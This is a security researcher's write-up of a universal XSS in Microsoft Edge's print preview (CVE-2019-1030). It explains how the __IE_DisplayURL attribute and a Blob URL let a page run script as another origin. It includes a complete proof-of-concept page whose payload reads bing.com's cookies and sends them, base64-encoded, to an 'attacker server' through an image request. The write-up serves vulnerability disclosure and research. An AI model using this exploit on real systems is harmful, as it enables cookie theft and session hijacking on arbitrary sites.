Microsoft Edge - Universal XSS


The universal XSS (uXSS) is a coveted bug in browsers, it gives you the ability to execute Javascript as any website. It's like having an XSS in all websites which is pretty interesting. What's more interesting is the way I found this bug - You see, usually when I imagine uXSS bugs it's something to do with the IFRAME element or messing around with the URL. But I never imagined I would find a uXSS bug using the 'print()' function.

The Print Preview Context

Let's talk about what actually happens when Edge displays a print preview window. I always assumed it was just a screenshot drawn into a Canvas type technology, but in fact the page you are printing is copied into a temporary location and re-rendered!
When we execute 'print()' in a page, we see the following file system activity in Process Monitor: So, a file is being created in Edge temporary directory and the content of this file is a slightly modified version of the original page we were trying to print. Let's compare. Before print:

<!doctype html>
<html>
<head>
	<title>Printer Button</title>
</head>
<body>
<button id="qbutt">Print!</button>
<iframe src="https://www.bing.com/?q=example"></iframe>
<script>
qbutt.onclick=e=>{
	window.print();
}
</script>
</body>
</html>

After print:
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><META 
content="text/html; charset=utf-8" http-equiv=Content-Type>
<BASE HREF="http://q.leucosite.com:777/printExample.html">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer 
Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <IFRAME src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></IFRAME> 
<SCRIPT>
qbutt.onclick=e=&gt;{
	window.print();
}
</SCRIPT>
</BODY></HTML>

There are a few things we can notice from this comparison.
  1. Javascript is encoded and rendered invalid.
  2. The IFRAME now points to another local file in the same directory which contains the source code of the original bing.com reference.
  3. The HTML element now has a peculiar attribute '__IE_DisplayURL'
I did a few tests in regards to [1] and [2], first I tried to see if I can still get valid Javascript after the encoding in hopes I would get Javascript execution. But it turns out that any Javascript coming from within a '<script>' element, despite being valid or invalid, is not executed.

With [2] I was able to come up with a OS username disclosure using CSS '@media print{}' functionality plus CSS selector magic to grab the OS username from the resulting IFRAME href value. However, this was not good enough.

[3] Was where things got interesting, this attribute is very unusual and up until this point I have never seen it. So instantly I looked it up and came with a few articles, looked like Masato Kinugawa has already played with this attribute and found pretty cool bugs.

After doing some reading and messing around, I found that the print preview context relies on this attribute to know where the document came from. This makes sense since essentially Edge is opening files within the 'file:' URI scheme. However, with this attribute hinting to the origin, you will notice all requests coming from this document (within print preview) will mimic the exact same behavior as if it's coming from the original website.

But how can we abuse this attribute? There must be a way!

Executing Javascript within Print Preview

Like I said before, any Javascript coming from within a normal SCRIPT tag will be blocked or just ignored. But what about other vectors? So I tried everything under the sun that I could think of and I will spare you all the failed attempts and get straight to the point.
We are dealing with a print function here, so naturally I played with the print related events, the one that got me a result was 'onbeforeprint', using it got me the ability to inject an IFRAME that points to any website without having Edge convert it into a file first. So almost immediately I tried injecting an IFRAME which was pointing to a Javascript URL and boom! That particular Javascript was executed in the print preview context. The Javascript injection test:

<!doctype html>
<html>
<head>
	<title>Printer Button</title>
</head>
<body>
<button id="qbutt">Print!</button>
<div id="qcontent"></div>
<script>
qbutt.onclick=e=>{
	window.print();
}

window.onbeforeprint=function(e){
	qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`;
	
	}
</script>
</body>
</html>

After print preview conversion:
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><META 
content="text/html; charset=windows-1252" http-equiv=Content-Type>
<BASE HREF="http://q.leucosite.com/dl.html">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer 
Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <DIV 
id="qcontent"><IFRAME src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></IFRAME></DIV>
<SCRIPT>
qbutt.onclick=e=&gt;{
	window.print();
}

window.onbeforeprint=function(e){
	qcontent.innerHTML=`&lt;iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"&gt;&lt;/iframe&gt;`;
	
	}
</SCRIPT>
</BODY></HTML>

Result screenshot:

Now, just by having Javascript execution does not mean we are done. As I mentioned before, because of the '__IE_DisplayURL' attribute then any request or API will be treated as if coming from the original document origin.

The Actual uXSS

Now that we have the Javascript execution, we need to somehow construct our own 'print preview document' with our own custom '__IE_DisplayURL' and then we can mimic any website we choose resulting in uXSS.
I found that using a Blob URL I was able to achieve exactly that! So I made my own print document with the custom attribute pointing to my target website ('bing.com' in this case) and it contained a Javascript IFRAME which will execute as if it's from 'bing.com' itself.
I injected the following Javascript:

if (top.location.protocol == 'file:') {
    setTimeout(function() {
        top.location = URL.createObjectURL(new Blob([top.document.getElementById('qd').value], {
            type: 'text/html'
        }))
    }, 1000)
}

Where 'top.document.getElementById('qd').value' is the following fake 'print document':
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML 
__IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; 
charset=windows-1252" http-equiv=Content-Type>
<BASE HREF="https://www.bing.com/">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE>
<STYLE>iframe {
	width: 300px; height: 300px;
}
</STYLE>
</HEAD><BODY>

<iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie">
</BODY></HTML>

All I'm doing is reading 'document.cookie' and sending it to a server.

To summarize what the final exploit is doing:
  1. Using the 'onbeforeprint' event, I insert an IFRAME that points to my Javascript payload right before printing.
  2. I call window.print() to initiate.
  3. Edge then displays the print preview window whilst rendering my injected Javascript
  4. The injected Javascript created a Blob URL that contains my custom 'bing.com' print document and redirects the top frame to this URL.
  5. The print preview context gets fooled into thinking the content of my Blob URL is a legitimate print document and sets the documents origin to 'bing.com' through the '__IE_DisplayURL' attribute.
  6. The fake print document contains yet another Javascript IFRAME which simply displays the 'document.cookie' of 'bing.com'
  7. uXSS achieved!

Final PoC and Video

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<head>
<style>iframe{width:300px;height:300px;}</style>

</head>
<body>
<!-- -----------------------------HTML for our blob------------------------------------ -->
<textarea id="qd">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML 
__IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; 
charset=windows-1252" http-equiv=Content-Type>
<BASE HREF="https://www.bing.com/">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE>
<STYLE>iframe {
	width: 300px; height: 300px;
}
</STYLE>
</HEAD><BODY>

<iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie">
</BODY></HTML>
</textarea>
<!-- ---------------------------------------------------------------------------- -->
<script>


var qdiv=document.createElement('div');
document.body.appendChild(qdiv);
window.onbeforeprint=function(e){
	qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createObjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`;
	
	}

window.print();
</script>

<style>


</style>


</body>

</html>

References

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1030